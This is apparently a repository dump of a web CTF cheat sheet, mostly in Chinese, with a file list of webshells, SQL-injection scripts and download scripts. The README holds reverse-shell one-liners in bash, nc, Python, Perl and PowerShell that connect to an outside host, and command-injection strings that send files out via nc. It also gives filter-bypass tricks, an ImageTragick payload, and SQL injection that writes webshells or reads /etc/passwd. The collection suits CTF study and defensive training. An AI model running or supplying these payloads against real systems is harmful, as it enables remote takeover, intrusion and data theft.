├── README.md └── scripts ├── backdoor ├── bypass_mail_shellshock.php ├── get_flag.php ├── php-jpeg-shell.php ├── shell.asp ├── shell.aspx ├── shell.php └── uploader.php ├── others ├── IP.py └── ssltest.py ├── sqlinj ├── mssql_column.rb ├── mssql_table.rb ├── mysql_time.rb ├── mysql_union.rb ├── mysql_useragent.rb └── sqlite_login.rb ├── windows ├── download.bat ├── download.ps1 └── download.vbs └── xss └── payload /README.md: -------------------------------------------------------------------------------- 1 | WEB CTF CheatSheet 2 | === 3 | 4 | Table of Contents 5 | ================= 6 | 7 | * [Webshell](#webshell) 8 | * [Reverse Shell](#reverse-shell) 9 | * [PHP Tag](#php-tag) 10 | * [PHP Weak Type](#php-weak-type) 11 | * [PHP Feature](#php-其他特性) 12 | * [Command Injection](#command-injection) 13 | * [Bypass Space](#空白繞過) 14 | * [Bypass Keyword](#keyword繞過) 15 | * [ImageMagick](#imagemagick-imagetragick) 16 | * [Ruby Command Executing](#ruby-command-executing) 17 | * [Python Command Executing](#python-command-executing) 18 | * [SQL Injection](#sql-injection) 19 | * [MySQL](#mysql) 20 | * [MSSQL](#mssql) 21 | * [Oracle](#oracle) 22 | * [SQLite](#sqlite) 23 | * [Postgresql](#postgresql) 24 | * [LFI](#lfi) 25 | * [Upload](#上傳漏洞) 26 | * [Serialization](#反序列化) 27 | * [PHP Serialize](#php---serialize--unserialize) 28 | * [Python Pickle](#python-pickle) 29 | * [Ruby Marshal](#rubyrails-marshal) 30 | * [Ruby YAML](#rubyrails-yaml) 31 | * [SSTI](#ssti) 32 | * [Flask/Jinja2](#flaskjinja2) 33 | * [AngularJS](#angularjs) 34 | * [Vue.js](#vuejs) 35 | * [Python](#python) 36 | * [Tool](#tool) 37 | * [SSRF](#ssrf) 38 | * [Bypass](#bypass-127001) 39 | * [Local Expolit](#本地利用) 40 | * [Remote Expolit](#遠程利用) 41 | * [CRLF Injection](#crlf-injection) 42 | * [Finger Print](#fingerprint) 43 | * [XXE](#xxe) 44 | * [Out of Band XXE](#out-of-band-oob-xxe) 45 | * [XSS](#xss) 46 | * [Crypto](#密碼學) 47 | * [PRNG](#prng) 48 | * [ECB mode](#ecb-mode) 49 | * [CBC mode](#cbc-mode) 50 | * [Length Extension Attack](#length-extension-attack) 51 | * [Others](#其它-1) 52 | * [Tools and Website](#tool--online-website) 53 | * [Information Gathering](#information-gathering) 54 | * [Social Engineering](#social-engineering) 55 | * [Crack](#crack) 56 | 57 | 58 | # Webshell 59 | ```php 60 | 61 | 62 | 63 | 66 | 70 | 71 | 72 | 73 | // a=system&b=ls 74 | // a=assert&b=system("ls") 75 | 76 | 77 | // .php?cmd=system("ls") 78 | 79 | 80 | // .php?f=system&c=id 81 | 82 | 上傳 84 | // 把暫存檔include進來 85 | // From: http://www.zeroplace.cn/article.asp?id=906 86 | 87 | 88 | // not backdoor (assert) 89 | // .php?a=system("ls") 90 | 91 | echo "{${phpinfo()}}"; 92 | 93 | echo "${system(ls)}"; 94 | 95 | echo Y2F0IGZsYWc= | base64 -d | sh 96 | // Y2F0IGZsYWc= => cat flag 97 | 98 | echo -e ";\r shell.php 99 | // cat shell.php 100 | // 101 | 102 | echo ^ > a.php 103 | // Windows echo導出一句話 104 | 105 | 113 | 114 | 121 | 122 | '; 141 | while(md5(file_get_contents($file)) !== md5($code)) { 142 | if(!file_exists($file)) { 143 | file_put_contents($file, $code); 144 | } 145 | usleep(50); 146 | } 147 | ?> 148 | 149 | ``` 150 | 151 | ## 無文件webshell 152 | 153 | 解法:restart 154 | ```php 155 | 166 | ``` 167 | 168 | 169 | ## Reverse Shell 170 | 171 | - 本機Listen Port 172 | - `ncat -vl 5566` 173 | 174 | - Perl 175 | - `perl -e 'use Socket;$i="kaibro.tw";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'` 176 | 177 | - Bash 178 | - `bash -i >& /dev/tcp/kaibro.tw/5566 0>&1` 179 | - `bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'` 180 | - `0<&196;exec 196<>/dev/tcp/kaibro.tw/5566; sh <&196 >&196 2>&196` 181 | 182 | - PHP 183 | - `php -r '$sock=fsockopen("kaibro.tw",5566);exec("/bin/sh -i <&3 >&3 2>&3");'` 184 | 185 | - NC 186 | - `nc -e /bin/sh kaibro.tw 5566` 187 | 188 | - Telnet 189 | - `mknod backpipe p && telnet kaibro.tw 5566 0backpipe` 190 | 191 | - Python 192 | - `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("kaibro.tw",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'` 193 | 194 | - Ruby 195 | - `ruby -rsocket -e 'exit if fork;c=TCPSocket.new("kaibro.tw","5566");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'` 196 | 197 | - Node.js 198 | - `var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(5566, "kaibro.tw", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});` 199 | - `require('child_process').exec("bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'");` 200 | 201 | - Powershell 202 | - `powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c kaibro.tw -p 5566 -e cmd` 203 | 204 | # PHP Tag 205 | 206 | - `` 207 | - short_open_tag 決定是否可使用短標記 208 | - 或是編譯php時 --enable-short-tags 209 | - ``、`<%=` 213 | - 自`PHP 7.0.0`起,被移除 214 | - 須將`asp_tags`設成On 215 | - `` 218 | 219 | 220 | 221 | # PHP Weak Type 222 | 223 | - `var_dump('0xABCdef' == ' 0xABCdef');` 224 | * true (Output for hhvm-3.18.5 - 3.22.0, 7.0.0 - 7.2.0rc4: false) 225 | 226 | - `var_dump('0010e2' == '1e3’);` 227 | - true 228 | - `strcmp([],[])` 229 | - 0 230 | - `sha1([])` 231 | - NULL 232 | - `'123' == 123` 233 | - `'abc' == 0` 234 | - `'123a' == 123` 235 | - `'0x01' == 1` 236 | - PHP 7.0後,16進位字串不再當成數字 237 | - e.g `var_dump('0x01' == 1)` => false 238 | - `'' == 0 == false == NULL` 239 | - `md5([1,2,3]) == md5([4,5,6]) == NULL` 240 | - 可用在登入繞過 (用戶不存在,則password為NULL) 241 | - `var_dump(md5(240610708));` 242 | - 0e462097431906509019562988736854 243 | - `var_dump(sha1(10932435112));` 244 | - 0e07766915004133176347055865026311692244 245 | - `$a="123"; $b="456"` 246 | - `$a + $b == "579";` 247 | - `$a . $b == "123456"` 248 | 249 | - `$a = 0; $b = 'x';` 250 | - `$a == false` => true 251 | - `$a == $b` => true 252 | - `$b == true` => true 253 | 254 | - `$a = 'a'` 255 | - `++$a` => `'b'` 256 | - `$a+1` => `1` 257 | 258 | 259 | # PHP 其他特性 260 | 261 | ## Overflow 262 | 263 | - 32位元 264 | - `intval('1000000000000')` => `2147483647` 265 | - 64位元 266 | - `intval('100000000000000000000')` => `9223372036854775807` 267 | 268 | ## 浮點數精度 269 | 270 | - `php -r "var_dump(1.000000000000001 == 1);"` 271 | - false 272 | 273 | - `php -r "var_dump(1.0000000000000001 == 1);"` 274 | - true 275 | 276 | - `$a = 0.1 * 0.1; var_dump($a == 0.01);` 277 | - false 278 | 279 | ## ereg會被NULL截斷 280 | 281 | - `var_dump(ereg("^[a-zA-Z0-9]+$", "1234\x00-!@#%"));` 282 | - `1` 283 | - `ereg`和`eregi`在PHP 7.0.0.已經被移除 284 | 285 | ## intval 286 | 287 | - 四捨五入 288 | - `var_dump(intval('5278.8787'));` 289 | - `5278` 290 | - `intval(012)` => 10 291 | - `intval("012")` => 12 292 | 293 | ## extract變數覆蓋 294 | 295 | - `extract($_GET);` 296 | - `.php?_SESSION[name]=admin` 297 | - `echo $_SESSION['name']` => 'admin' 298 | 299 | ## trim 300 | 301 | - 會把字串前後的空白(或其他字元)去掉 302 | - 未指定第二參數,預設會去掉以下字元 303 | - `" "` (0x20) 304 | - `"\t"` (0x09) 305 | - `"\n"` (0x0A) 306 | - `"\x0B"` (0x0B) 307 | - `"\r"` (0x0D) 308 | - `"\0"` (0x00) 309 | - 可以發現預設不包含`"\f"` (0x0C) 310 | - 比較:is_numeric()允許`\f`在開頭 311 | - 如果參數是unset或空的變數,回傳值是空字串 312 | 313 | ## is_numeric 314 | 315 | - `is_numeric(" \t\r\n 123")` => `true` 316 | 317 | - `is_numeric(' 87')` => `true` 318 | - `is_numeric('87 ')` => `false` 319 | - `is_numeric(' 87 ')` => `false` 320 | - `is_numeric('0xdeadbeef')` 321 | - PHP >= 7.0.0 => `false` 322 | - PHP < 7.0.0 => `true` 323 | - 可以拿來繞過注入 324 | - 以下亦為合法(返回True)字串: 325 | - `' -.0'` 326 | - `'0.'` 327 | - `' +2.1e5'` 328 | - `' -1.5E+25'` 329 | - `'1.e5'` 330 | 331 | ## in_array 332 | 333 | - `in_array('5 or 1=1', array(1, 2, 3, 4, 5))` 334 | - true 335 | - `in_array('kaibro', array(0, 1, 2))` 336 | - true 337 | - `in_array(array(), array('kai'=>false))` 338 | - true 339 | - `in_array(array(), array('kai'=>null))` 340 | - true 341 | - `in_array(array(), array('kai'=>0))` 342 | - false 343 | - `in_array(array(), array('kai'=>'bro'))` 344 | - false 345 | - `in_array('kai', array('kai'=>true))` 346 | - true 347 | - `in_array('kai', array('kai'=>'bro'))` 348 | - false 349 | - `in_array('kai', array('kai'=>0))` 350 | - true 351 | - `in_array('kai', array('kai'=>1))` 352 | - false 353 | 354 | ## array_search 355 | 356 | - `mixed array_search(mixed $needle , array $haystack [, bool $strict = false ])` 357 | - 在`haystack`陣列中,搜尋`needle`的值,成功則返回index,失敗返回False 358 | - `$strict`為false時,採用不嚴格比較 359 | - 預設是False 360 | - Example 361 | - `$arr=array(1,2,0); var_dump(array_search('kai', $arr))` 362 | - `int(2)` 363 | - `$arr=array(1,2,0); var_dump(array_search('1', $arr))` 364 | - `int(0)` 365 | 366 | ## parse_str 367 | - `parse_str(string, array)` 368 | - 會把查詢字串解析到變數中 369 | - 如果未設置第二個參數,會解析到同名變數中 370 | - PHP7.2中不設置第二個參數會產生`E_DEPRECATED`警告 371 | - `parse_str('gg[kaibro]=5566');` 372 | 373 | ``` 374 | array(1) { 375 | ["kaibro"]=> 376 | string(4) "5566" 377 | } 378 | 379 | ``` 380 | - PHP變數有空格和.,會被轉成底線 381 | 382 | ``` 383 | parse_str("na.me=kaibro&pass wd=ggininder",$test); 384 | var_dump($test); 385 | 386 | array(2) { 387 | ["na_me"]=> string(6) "kaibro" 388 | ["pass_wd"]=> string(9) "ggininder" 389 | } 390 | ``` 391 | 392 | 393 | ## parse_url 394 | 395 | - 在處理傳入的URL會有問題 396 | - `parse_url('/a.php?id=1')` 397 | 398 | ``` 399 | array(2) { 400 | ["host"]=> 401 | string(5) "a.php" 402 | ["query"]=> 403 | string(4) "id=1" 404 | } 405 | ``` 406 | - `parse_url('//a/b')` 407 | - host: `a` 408 | - `parse_url('..//a/b/c:80')` 409 | - host: `..` 410 | - port: `80` 411 | - path: `//a/b/c:80` 412 | - `parse_url('///a.php?id=1')` 413 | - false 414 | 415 | - `parse_url('/a.php?id=1:80')` 416 | - PHP < 7.0.0 417 | - `false` 418 | - PHP >= 7.0.0 419 | ``` 420 | array(2) { 421 | ["path"]=> string(6) "/a.php" 422 | ["query"]=> string(7) "id=1:80" 423 | } 424 | ``` 425 | 426 | - `parse_url('http://kaibro.tw:87878')` 427 | - 5.3.X版本以下 428 | ```php 429 | array(3) { 430 | ["scheme"]=> string(4) "http" 431 | ["host"]=> string(9) "kaibro.tw" 432 | ["port"]=> int(22342) 433 | } 434 | ``` 435 | - 其他: false 436 | 437 | ## preg_replace 438 | 439 | - `mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )` 440 | - 搜尋`$subject`中匹配的`$pattern`,並用`$replacement`替換 441 | - 第一個參數用`/e`修飾符,`$replacement`會被當成PHP code執行 442 | - 必須有匹配到才會執行 443 | - PHP 5.5.0起,會產生`E_DEPRECATED`錯誤 444 | - PHP 7.0.0不再支援,用`preg_replace_callback()`代替 445 | 446 | example: 447 | 448 | ```php 449 | ?]', $test)) die('bye'); 471 | file_put_contents('output', $test); 472 | ``` 473 | - 可以直接`?txt[]=`寫入 474 | 475 | ## spl_autoload_register 476 | 477 | - `spl_autoload_register()`可以自動載入Class 478 | - 不指定參數,會自動載入`.inc`和`.php` 479 | - Example: 480 | - 如果目錄下有kaibro.inc,且內容為class Kaibro{...} 481 | - 則`spl_autoload_register()`會把這個Class載入進來 482 | 483 | 484 | ## 路徑正規化 485 | 486 | - `a.php/.` 487 | - `file_put_contents("a.php/.", "");` 488 | - 可成功寫入 489 | - 經測試Windows可以覆寫、Linux無法 490 | - 可以繞過一些正規表達式判斷 491 | - `file_get_contents("a.php/.");` 492 | - 經測試Windows下可成功讀、Linux無法 493 | - 還有很多其他function也適用 494 | - `"` => `.` 495 | - `a"php` 496 | - `>` => `?` 497 | - `a.p>p` 498 | - `a.>>>` 499 | - `<` => `*` 500 | - `a.<` 501 | 502 | ## URL query decode 503 | - `$_GET`會對傳入的參數做URLdecode再返回 504 | - `$_SERVER['REQUEST_URI']`和`$_SERVER['QUERY_STRING']`則是直接返回 505 | 506 | Example: 507 | 508 | Request: `http://kaibro.tw/test.php?url=%67%67` 509 | 510 | * $_GET: `[url] => gg` 511 | 512 | * $_SERVER['REQUEST_URI']: `/test.php?url=%67%67` 513 | 514 | * $_SERVER['QUERY_STRING']: `url=%67%67` 515 | 516 | ## OPcache 517 | 518 | - 透過將PHP腳本編譯成Byte code的方式做Cache來提升性能 519 | - 相關設定在php.ini中 520 | - `opcache.enable` 是否啟用 521 | - `opcache.file_cache` 設定cache目錄 522 | - 例如:`opcache.file_cache="/tmp/opcache"` 523 | - `/var/www/index.php`的暫存會放在`/tmp/opcache/[system_id]/var/www/index.php.bin` 524 | - `opcache.file_cache_only` 設定cache文件優先級 525 | - `opcache.validate_timestamps` 是否啟用timestamp驗證 526 | - `system_id`是透過Zend和PHP版本號計算出來的,可以確保相容性 527 | - 所以在某些條件下可透過上傳覆蓋暫存文件來寫webshell 528 | - system_id要和目標機器一樣 529 | - timestamp要一致 530 | - https://github.com/GoSecure/php7-opcache-override 531 | - Disassembler可以把Byte code轉成Pseudo code 532 | 533 | ## PCRE回溯次數限制繞過 534 | 535 | - PHP的PCRE庫使用NFA作為正規表達式引擎 536 | - NFA在匹配不上時,會回溯嘗試其他狀態 537 | - PHP為防止DOS,設定了PCRE回溯次數上限 538 | - `pcre.backtrack_limit` 539 | - 預設為`1000000` 540 | - 回溯次數超過上限時,`preg_match()`會返回`false` 541 | - Example 542 | - Code-Breaking Puzzles - pcrewaf 543 | 544 | ## open_basedir繞過 545 | 546 | - glob 列目錄 547 | 548 | ```php 549 | $file_list = array(); 550 | $it = new DirectoryIterator("glob:///*"); 551 | foreach($it as $f) { 552 | $file_list[] = $f->__toString(); 553 | } 554 | sort($file_list); 555 | foreach($file_list as $f){ 556 | echo "{$f}
"; 557 | } 558 | ``` 559 | 560 | - [phuck3](https://twitter.com/Blaklis_/status/1111586655134203904) 561 | 562 | ```php 563 | chdir('img'); 564 | ini_set('open_basedir','..'); 565 | chdir('..');chdir('..'); 566 | chdir('..');chdir('..'); 567 | ini_set('open_basedir','/'); 568 | echo(file_get_contents('flag')); 569 | ``` 570 | 571 | - symlinks 572 | 573 | ```php 574 | mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE); 575 | symlink('/var/www/html/a/b/c/d/e/f/g','foo'); 576 | ini_set('open_basedir','/var/www/html:bar/'); 577 | symlink('foo/../../../../../../','bar'); 578 | unlink('foo'); 579 | symlink('/var/www/html/','foo'); 580 | echo file_get_contents('bar/etc/passwd'); 581 | ``` 582 | 583 | - Fastcgi 584 | - [link](https://github.com/w181496/CTF/tree/master/0ctf2019_qual/WallbreakerEasy) 585 | 586 | - ... 587 | 588 | ## disable_functions繞過 589 | 590 | - bash shellshock 591 | - mail() 592 | - `sendmail` 593 | - putenv寫LD_PRELOAD 594 | - trick: [LD_PRELOAD without sendmail/getuid()](https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD) 595 | - imap_open() 596 | ```php 597 | it can permits the user to arbitrarily extend the image formats supported by ImageMagick by adding loadable coder modules from an preferred location rather than copying them into the ImageMagick installation directory 615 | - [Document](https://www.imagemagick.org/script/resources.php#Environment%20Variables) 616 | - [Link](https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/TCTF2019/Wallbreaker_Easy) 617 | - MAGICK_CONFIGURE_PATH 618 | - `delegates.xml`定義處理各種文件的規則 619 | - 可以用putenv寫掉設定檔路徑 620 | - [Link](https://xz.aliyun.com/t/4688#toc-14) 621 | 622 | ```xml 623 | 624 | 625 | 626 | ``` 627 | 628 | - 蓋`PATH` + ghostscript: 629 | - 造一個執行檔gs 630 | 631 | ```cpp 632 | #include 633 | #include 634 | int main() { 635 | unsetenv("PATH"); 636 | const char* cmd = getenv("CMD"); 637 | system(cmd); 638 | return 0; 639 | } 640 | ``` 641 | 642 | ```php 643 | putenv('PATH=/tmp/mydir'); 644 | putenv('CMD=/readflag > /tmp/mydir/output'); 645 | chmod('/tmp/mydir/gs','0777'); 646 | $img = new Imagick('/tmp/mydir/1.ept'); 647 | ``` 648 | - dl() 649 | - 載入module 650 | - `dl("rce.so")` 651 | - [l3mon/Bypass_Disable_functions_Shell](https://github.com/l3m0n/Bypass_Disable_functions_Shell) 652 | - 族繁不及備載...... 653 | 654 | ## 其他 655 | 656 | - 大小寫不敏感 657 | - ` `false` 669 | - `$a = true and false;` 670 | - `$a` => `true` 671 | - chr() 672 | - 大於256會mod 256 673 | - 小於0會加上256的倍數,直到>0 674 | - Example: 675 | - `chr(259) === chr(3)` 676 | - `chr(-87) === chr(169)` 677 | 678 | - 遞增 679 | - `$a="9D9"; var_dump(++$a);` 680 | - `string(3) "9E0"` 681 | - `$a="9E0"; var_dump(++$a);` 682 | - `float(10)` 683 | 684 | - 算數運算繞Filter 685 | - `%f3%f9%f3%f4%e5%ed & %7f%7f%7f%7f%7f%7f` 686 | - `system` 687 | - 可用在限制不能出現英數字時 or 過濾某些特殊符號 688 | - ```$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');``` 689 | - `assert` 690 | - 其他 691 | - `~`, `++`等運算,也都可用類似概念構造 692 | 693 | - 花括號 694 | - 陣列、字串元素存取可用花括號 695 | - `$array{index}`同`$array[index]` 696 | 697 | - filter_var 698 | - `filter_var('http://evil.com;google.com', FILTER_VALIDATE_URL)` 699 | - False 700 | - `filter_var('0://evil.com;google.com', FILTER_VALIDATE_URL)` 701 | - True 702 | 703 | - json_decode 704 | - 不直接吃換行字元和\t字元 705 | - 但可以吃'\n'和'\t' 706 | - 會轉成換行字元和Tab 707 | - 也吃`\uxxxx`形式 708 | - `json_decode('{"a":"\u0041"}')` 709 | 710 | 711 | - === bug 712 | - `var_dump([0 => 0] === [0x100000000 => 0])` 713 | - 某些版本會是True 714 | - ASIS 2018 Qual Nice Code 715 | - https://3v4l.org/sUEMG 716 | - openssl_verify 717 | - 預測採用SHA1來做簽名,可能有SHA1 Collision問題 718 | - DEFCON CTF 2018 Qual 719 | - Namespace 720 | - PHP的預設Global space是`\` 721 | - e.g. `\system('ls');` 722 | 723 | # Command Injection 724 | 725 | ``` 726 | | cat flag 727 | && cat flag 728 | ; cat flag 729 | %0a cat flag 730 | "; cat flag 731 | `cat flag` 732 | cat $(ls) 733 | "; cat $(ls) 734 | `cat flag | nc kaibro.tw 5278` 735 | 736 | . flag 737 | PS1=$(cat flag) 738 | 739 | `echo${IFS}${PATH}|cut${IFS}-c1-1` 740 | => / 741 | ``` 742 | 743 | ## ? and * 744 | - `?` match one character 745 | - `cat fl?g` 746 | - `/???/??t /???/p??s??` 747 | - `*` match 多個 748 | - `cat f*` 749 | - `cat f?a*` 750 | 751 | ## 空白繞過 752 | 753 | - `${IFS}` 754 | - `cat${IFS}flag` 755 | - `ls$IFS-alh` 756 | - `cat$IFS$2flag` 757 | - `cat "/usr/local/….blablabla”` 774 | - `${PATH:0:1} => '/'` 775 | - `${PATH:1:1} => 'u'` 776 | - `${PATH:0:4} => '/usr'` 777 | - `${PS2}` 778 | - `>` 779 | - `${PS4}` 780 | - `+` 781 | - Empty String 782 | - `cat fl""ag` 783 | - `cat fl''ag` 784 | - `cat "fl""ag"` 785 | 786 | - 反斜線 787 | - `c\at fl\ag` 788 | 789 | ## ImageMagick (ImageTragick) 790 | 791 | - CVE-2016-3714 792 | - `mvg`格式包含https處理(使用curl下載),可以閉合雙引號 793 | - payload: 794 | 795 | ```mvg 796 | push graphic-context 797 | viewbox 0 0 640 480 798 | fill 'url(https://kaibro.tw";ls "-la)' 799 | pop graphic-context 800 | ``` 801 | 802 | ## Ruby Command Executing 803 | 804 | - `open("| ls")` 805 | - `IO.popen("ls").read` 806 | - `Kernel.exec("ls")` 807 | - ``` `ls` ``` 808 | - `system("ls")` 809 | - `eval("ruby code")` 810 | - Non-Alphanumeric example: HITCON CTF 2015 - Hard to say 811 | - `$$/$$` => 1 812 | - `'' << 97 << 98 << 99` => "abc" 813 | - `$:`即`$LOAD_PATH` 814 | - `exec("ls")` 815 | - `%x{ls}` 816 | - Net::FTP 817 | - CVE-2017-17405 818 | - use `Kernel#open` 819 | 820 | ## Python Command Executing 821 | - `os.system("ls")` 822 | - `os.popen("ls").read()` 823 | - `os.execl("/bin/ls","")` 824 | - `os.execlp("ls","")` 825 | - `os.execv("/bin/ls",[''])` 826 | - `os.execvp("/bin/ls",[""])` 827 | - `subprocess.call("ls")` 828 | - `subprocess.call("ls|cat",shell=False)` => Fail 829 | - `subprocess.call("ls|cat",shell=True)` => Correct 830 | - `eval("__import__('os').system('ls')")` 831 | - `exec("__import__('os').system('ls')")` 832 | - `commands.getoutput('ls')` 833 | 834 | ## Read File 835 | 836 | - diff /etc/passwd /flag 837 | - paste /flag 838 | - bzmore /flag 839 | - bzless /flag 840 | - static-sh /flag 841 | - ... 842 | 843 | # SQL Injection 844 | 845 | 846 | ## MySQL 847 | 848 | - 子字串: 849 | - `substr("abc",1,1) => 'a'` 850 | - `mid("abc", 1, 1) => 'a'` 851 | - Ascii function 852 | - `ascii('A') => 65 ` 853 | - Char function 854 | - `char(65) => 'a'` 855 | - Concatenation 856 | - `CONCAT('a', 'b') => 'ab'` 857 | - 如果任何一欄為NULL,則返回NULL 858 | - `CONCAT_WS(分隔符, 字串1, 字串2...)` 859 | - `CONCAT_WS('@', 'gg', 'inin')` => `gg@inin` 860 | - Cast function 861 | - `CAST('125e342.83' AS signed) => 125` 862 | - `CONVERT('23',SIGNED) => 23` 863 | - Delay function 864 | - `sleep(5)` 865 | - `BENCHMARK(count, expr)` 866 | - 空白字元 867 | - `09 0A 0B 0C 0D A0 20` 868 | - File-read function 869 | - `LOAD_FILE('/etc/passwd')` 870 | - File-write 871 | - `INTO DUMPFILE` 872 | - 適用binary (寫入同一行) 873 | - `INTO OUTFILE` 874 | - 適用一般文本 (有換行) 875 | - 寫webshell 876 | - 需知道可寫路徑 877 | - `UNION SELECT "",2,3 INTO OUTFILE "/var/www/html/temp/shell.php"` 878 | - 權限 879 | - `SELECT file_priv FROM mysql.user` 880 | - secure-file-priv 881 | - 限制MySQL導入導出 882 | - load_file, into outfile等 883 | - 運行時無法更改 884 | - MySQL 5.5.53前,該變數預設為空(可以導入導出) 885 | - e.g. `secure_file_priv=E:\` 886 | - 限制導入導出只能在E:\下 887 | - e.g. `secure_file_priv=null` 888 | - 限制不允許導入導出 889 | - secure-file-priv限制下用general_log拿shell 890 | ``` 891 | SET global general_log='on'; 892 | 893 | SET global general_log_file='C:/phpStudy/WWW/cmd.php'; 894 | 895 | SELECT ''; 896 | ``` 897 | - IF語句 898 | - IF(condition,true-part,false-part) 899 | - `SELECT IF (1=1,'true','false')` 900 | - Hex 901 | - `SELECT X'5061756c'; => paul` 902 | - `SELECT 0x5061756c; => paul` 903 | - `SELECT 0x5061756c+0 => 1348564332` 904 | - `SELECT load_file(0x2F6574632F706173737764);` 905 | - /etc/passwd 906 | - 可繞過一些WAF 907 | - e.g. 用在不能使用單引號時(`'` => `\'`) 908 | - CHAR()也可以達到類似效果 909 | - `'admin'` => `CHAR(97, 100, 109, 105, 110)` 910 | - 註解: 911 | - `#` 912 | - `--` 913 | - `/**/` 914 | - 一個`*/`可以閉合前面多個`/*` 915 | - `/*! 50001 select * from test */` 916 | - 可探測版本 917 | - e.g. `SELECT /*!32302 1/0, */ 1 FROM tablename` 918 | - ` 919 | - MySQL <= 5.5 920 | - `;` 921 | - PDO支援多語句 922 | - information_schema 923 | - mysql >= 5.0 924 | - Stacking Query 925 | - 預設PHP+MySQL不支援Stacking Query 926 | - 但PDO可以Stacking Query 927 | - 其它: 928 | - @@version 929 | - 同version() 930 | - user() 931 | - current_user 932 | - current_user() 933 | - current user 934 | - system_user() 935 | - database system user 936 | - database() 937 | - schema() 938 | - current database 939 | - @@basedir 940 | - MySQL安裝路徑 941 | - @@datadir 942 | - Location of db file 943 | - @@hostname 944 | - @@version_compile_os 945 | - Operating System 946 | - @@version_compile_machine 947 | - @@innodb_version 948 | - MD5() 949 | - SHA1() 950 | - COMPRESS() / UNCOMPRESS() 951 | - group_concat() 952 | - 合併多條結果 953 | - e.g. `select group_concat(username) from users;` 一次返回所有使用者名 954 | - greatest() 955 | - `greatest(a, b)`返回a, b中最大的 956 | - `greatest(1, 2)=2` 957 | - 1 958 | - `greatest(1, 2)=1` 959 | - 0 960 | - between a and b 961 | - 介於a到b之間 962 | - `greatest(1, 2) between 1 and 3` 963 | - 1 964 | - regexp 965 | - `SELECT 'abc' regexp '.*'` 966 | - 1 967 | - Collation 968 | - `*_ci` case insensitive collation 不區分大小寫 969 | - `*_cs` case sensitive collation 區分大小寫 970 | - `*_bin` binary case sensitive collation 區分大小寫 971 | 972 | - Union Based 973 | - 判斷column數 974 | - `union select 1,2,3...N` 975 | - `order by N` 找最後一個成功的N 976 | - `AND 1=2 UNION SELECT 1, 2, password FROM admin--+` 977 | - `LIMIT N, M` 跳過前N筆,抓M筆 978 | - 爆資料庫名 979 | - `union select 1,2,schema_name from information_schema.schemata limit 1,1` 980 | - 爆表名 981 | - `union select 1,2,table_name from information_schema.tables where table_schema='mydb' limit 0,1` 982 | - `union select 1,2,table_name from information_schema.columns where table_schema='mydb' limit 0,1` 983 | - 爆Column名 984 | - `union select 1,2,column_name from information_schema.columns where table_schema='mydb' limit 0,1` 985 | - MySQL User 986 | - `SELECT CONCAT(user, ":" ,password) FROM mysql.user;` 987 | - Error Based 988 | - 長度限制 989 | - 錯誤訊息有長度限制 990 | - `#define ERRMSGSIZE (512)` 991 | - Overflow 992 | - MySQL > 5.5.5 overflow才會有錯誤訊息 993 | - `SELECT ~0` => `18446744073709551615` 994 | - `SELECT ~0 + 1` => ERROR 995 | - `SELECT exp(709)` => `8.218407461554972e307` 996 | - `SELECT exp(710)` => ERROR 997 | - 若查詢成功,會返回0 998 | - `SELECT exp(~(SELECT * FROM (SELECT user())x));` 999 | - `ERROR 1690(22003):DOUBLE value is out of range in 'exp(~((SELECT 'root@localhost' FROM dual)))'` 1000 | - `select (select(!x-~0)from(select(select user())x)a);` 1001 | - `ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'` 1002 | - MySQL > 5.5.53 不會顯示查詢結果 1003 | - xpath 1004 | - extractvalue (有長度限制,32位) 1005 | - `select extractvalue(1,concat(0x7e,(select @@version),0x7e));` 1006 | - `ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'` 1007 | - updatexml (有長度限制,32位) 1008 | - `select updatexml(1,concat(0x7e,(select @@version),0x7e),1);` 1009 | - `ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'` 1010 | - 主鍵重複 1011 | - `select count(*) from test group by concat(version(),floor(rand(0)*2));` 1012 | - `ERROR 1062 (23000): Duplicate entry '5.7.171' for key ''` 1013 | - 其它函數 (5.7) 1014 | - `select ST_LatFromGeoHash(version());` 1015 | - `select ST_LongFromGeoHash(version());` 1016 | - `select GTID_SUBSET(version(),1);` 1017 | - `select GTID_SUBTRACT(version(),1);` 1018 | - `select ST_PointFromGeoHash(version(),1);` 1019 | - 爆庫名、表名、字段名 1020 | - 當過濾`information_schema`等關鍵字時,可以用下面方法爆庫名 1021 | - `select 1,2,3 from users where 1=abc();` 1022 | - `ERROR 1305 (42000): FUNCTION fl4g.abc does not exist` 1023 | - 爆表名 1024 | - `select 1,2,3 from users where Polygon(id);` 1025 | - ``select 1,2,3 from users where linestring(id);`` 1026 | - ```ERROR 1367 (22007): Illegal non geometric '`fl4g`.`users`.`id`' value found during parsing``` 1027 | - 爆Column 1028 | - `select 1,2,3 from users where (select * from (select * from users as a join users as b)as c);` 1029 | - `ERROR 1060 (42S21): Duplicate column name 'id'` 1030 | - `select 1,2,3 from users where (select * from (select * from users as a join users as b using(id))as c);` 1031 | - `ERROR 1060 (42S21): Duplicate column name 'username'` 1032 | - Blind Based (Time/Boolean) 1033 | - Boolean 1034 | - 「有」跟「沒有」 1035 | - `id=87 and length(user())>0` 1036 | - `id=87 and length(user())>100` 1037 | - `id=87 and ascii(mid(user(),1,1))>100` 